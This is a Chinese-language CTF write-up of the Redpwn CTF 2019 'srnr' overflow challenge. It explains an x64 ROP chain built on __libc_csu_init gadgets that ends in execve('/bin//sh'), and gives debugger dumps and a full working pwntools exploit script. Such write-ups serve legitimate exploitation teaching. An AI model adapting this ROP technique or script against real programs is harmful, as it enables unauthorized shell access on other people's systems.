x64通用ROP gadget

这是一道Redpwn CTF 2019很简单的溢出题,主要考察ROP exp的编写。
srnr
对二进制文件进行逆向分析,可以看到程序先读入了一个数字作为文件描述符,再从文件描述符中读取100000个字符,而buf是rbp-9,只要读超过17个字符就会覆盖到ret:

为了能调用execve("/bin/sh", NULL, NULL),我们需要把rdi的地址设为"/bin/sh"的地址,并清空rsi和rdx。程序中存在字符串"/bin//sh":

可以用ROPgadget获取字符串的地址:

1
2
3
4
$ ROPgadget --binary ./srnr --string "/bin//sh"
Strings information
============================================================
0x0000000000400c49 : /bin//sh

在main函数的ret指令之前下断点,查看寄存器值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> regs
RAX 0x0
RBX 0x0
RCX 0x7ffff7af4081 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0xffffffffffffff80
RDI 0x0
RSI 0x7fffffffdf27 ◂— 0x0
R8 0x0
R9 0x0
R10 0x7ffff7b82cc0 (_nl_C_LC_CTYPE_class+256) ◂— add al, byte ptr [rax]
R11 0x246
R12 0x400600 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe010 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdf30 —▸ 0x4007c0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdf20 —▸ 0x7fffffffe010 ◂— 0x1
RIP 0x4007b7 (main+124) ◂— leave

二进制程序比较小,找不到太多有用的gadget,这里采用的是一个通用gadget,__libc_csu_init函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行
而我们则是要利用__libc_csu_init其中两段特殊的gadget:

1
0x0000000000400800 : mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12 + rbx*8]

因为r14和r15已经是0了,这个gadget实际上为我们清空了rdx和rsi。rdi是0,我们可以用r13给rdi设置一个32位的地址,设置为"/bin//sh"的地址。rbx为0,因此可以通过控制r12 call任意函数。另一段gadget即为:

1
0x000000000040081c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

现在需要找一个指向syscall的指针分配给r12,采用的方法是找一块可写的内存,写入syscall的地址,再将这块内存的地址分配给r12。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/fan/Computer/CTF/redpwn/srnr
0x601000 0x602000 r--p 1000 1000 /home/fan/Computer/CTF/redpwn/srnr
0x602000 0x603000 rw-p 1000 2000 /home/fan/Computer/CTF/redpwn/srnr
0x7ffff79e4000 0x7ffff7bcb000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcb000 0x7ffff7dcf000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcf000 0x7ffff7dd1000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dd1000 0x7ffff7dd5000 rw-p 4000 0
0x7ffff7dd5000 0x7ffff7dfc000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7fdf000 0x7ffff7fe1000 rw-p 2000 0
0x7ffff7ff8000 0x7ffff7ffb000 r--p 3000 0 [vvar]
0x7ffff7ffb000 0x7ffff7ffc000 r-xp 1000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]

0x602000是可写的,把rdi设置为"%zu",rsi设置为这个可写的buff,然后返回__isoc99_scanf即可从标准输入写到内存中,可以用如下gadget:

1
2
0x0000000000400823 : pop rdi ; ret
0x0000000000400821 : pop rsi ; pop r15 ; ret

最后需要做的就是将rax设为execve的系统调用号59(Ubuntu上64位系统调用号在/usr/include/x86_64-linux-gnu/asm/unistd_64.h中),get_int函数从stdin读取一个整数并返回,所以可以调用它来修改rax。
完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#coding:utf-8

from pwn import *
elf = ELF('./srnr')

syscall = 0x400703
binsh = 0x400c49
pop4ret = 0x40081c # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# general gadget in x86-64
gadget = 0x400800 # mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12 + rbx*8]
poprdi = 0x400823 # pop rdi ; ret
poprsi = 0x400821 # pop rsi ; pop r15; ret
ret = 0x40059e
fmtstr = 0x400c52 # "%zu"
buff = 0x602000

p = process('./srnr')

p.recvuntil('[#] number of bytes: ')
p.sendline('0')

#gdb.attach(p)
payload = 'A' * 17 # padding
# __isoc99_scanf(fmtstr, buffer)
payload += p64(poprsi).decode()
payload += p64(buff).decode() # rsi
payload += p64(0).decode() # r15
payload += p64(poprdi).decode()
payload += p64(fmtstr).decode() # rdi
payload += '\xf0\x05@\x00\x00\x00\x00\x00' # p64(elf.sym['__isoc99_scanf']).decode()

payload += '\x9e\x05@\x00\x00\x00\x00\x00' # p64(ret).decode() # 16 byte stack alignemnt
payload += p64(elf.sym['get_int']).decode()

payload += p64(pop4ret).decode()
payload += p64(buff).decode() # r12
payload += p64(binsh).decode() # r13
payload += p64(0).decode() # r14
payload += p64(0).decode() # r15
payload += p64(gadget).decode()

p.sendline(payload)
sleep(1)
#p.sendline(p64(syscall).decode())
p.sendline(str(syscall))
sleep(1)
p.sendline('59')
p.clean()

p.interactive()

reference
https://www.pwndiary.com/write-ups/redpwn-ctf-2019-stop-rop-n-roll-write-up-pwn280/